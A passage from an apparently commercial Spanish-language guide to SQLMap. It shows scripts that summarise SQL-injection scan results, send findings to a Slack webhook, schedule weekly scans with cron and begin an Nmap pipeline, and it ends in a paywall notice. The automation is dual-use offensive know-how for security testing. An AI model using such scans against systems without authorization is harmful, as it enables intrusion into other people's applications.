print(f"Total URLs: {report['total_scanned']}")
print(f"Vulnerables: {report['vulnerable_count']}")
for r in results:
if r["vulnerable"]:
print(f" [+] {r['url']} ({r['dbms']}, {r['technique']})")

Integración con sistemas de notificación: Puedes extender el script para enviar el JSON a un webhook de Slack, Microsoft Teams, o un SIEM. Ejemplo con requests:

import requests
webhook_url = "https://hooks.slack.com/services/XXX"
requests.post(webhook_url, json={"text": f"Nuevo hallazgo SQLi: {r['url']}"})

2.2.3 Cron Jobs para Escaneo Periódico

Para monitoreo continuo de aplicaciones en staging o producción (con autorización), programa el script Bash con cron:

## Escaneo semanal de SQLi en lista de endpoints
0 2 * * 0 /home/pentester/scripts/sqlmap_batch.sh /home/pentester/targets/weekly_urls.txt

Esto ejecuta el escaneo cada domingo a las 2 AM. Los logs se acumulan en carpetas con fecha, permitiendo comparar resultados históricos.

Best Practices:

• Usa --delay y --threads=1 en producción para no afectar el rendimiento.
• Almacena los logs en un bucket S3 o NAS centralizado.
• Implementa alertas por correo si se detecta una nueva vulnerabilidad (compara con escaneo anterior).

---

2.3 Integración con Otras Herramientas

SQLMap no opera en el vacío. En un pipeline de seguridad ofensiva, se combina con escáneres de red, proxies de interceptación, y plataformas de CI/CD para automatizar la detección de SQL Injection a escala.

2.3.1 Pipeline con Nmap

Nmap identifica puertos y servicios; SQLMap profundiza en las aplicaciones web detectadas. El siguiente flujo une ambos:

## Escaneo de puertos web comunes y extracción de URLs con http-title
nmap -p 80,443,8080,8443 --script http-title -oG nmap_

---

## 🔒 SQLMap: Explotación de SQL Injection — Guía Premium de Maestría



---

## 💎 Contenido Premium

Los siguientes capítulos están disponibles en la versión completa:

- Capítulo 3: Análisis de Casos Reales
- Capítulo 4: Ejercicios Prácticos Guiados
- Capítulo 5: Troubleshooting y FAQs
- Capítulo 6: Recursos y Certificaciones
- Scripts completos y plantillas
- Soporte técnico incluido

[ Desbloquear Contenido Completo](https://viciousbyte.com/checkout)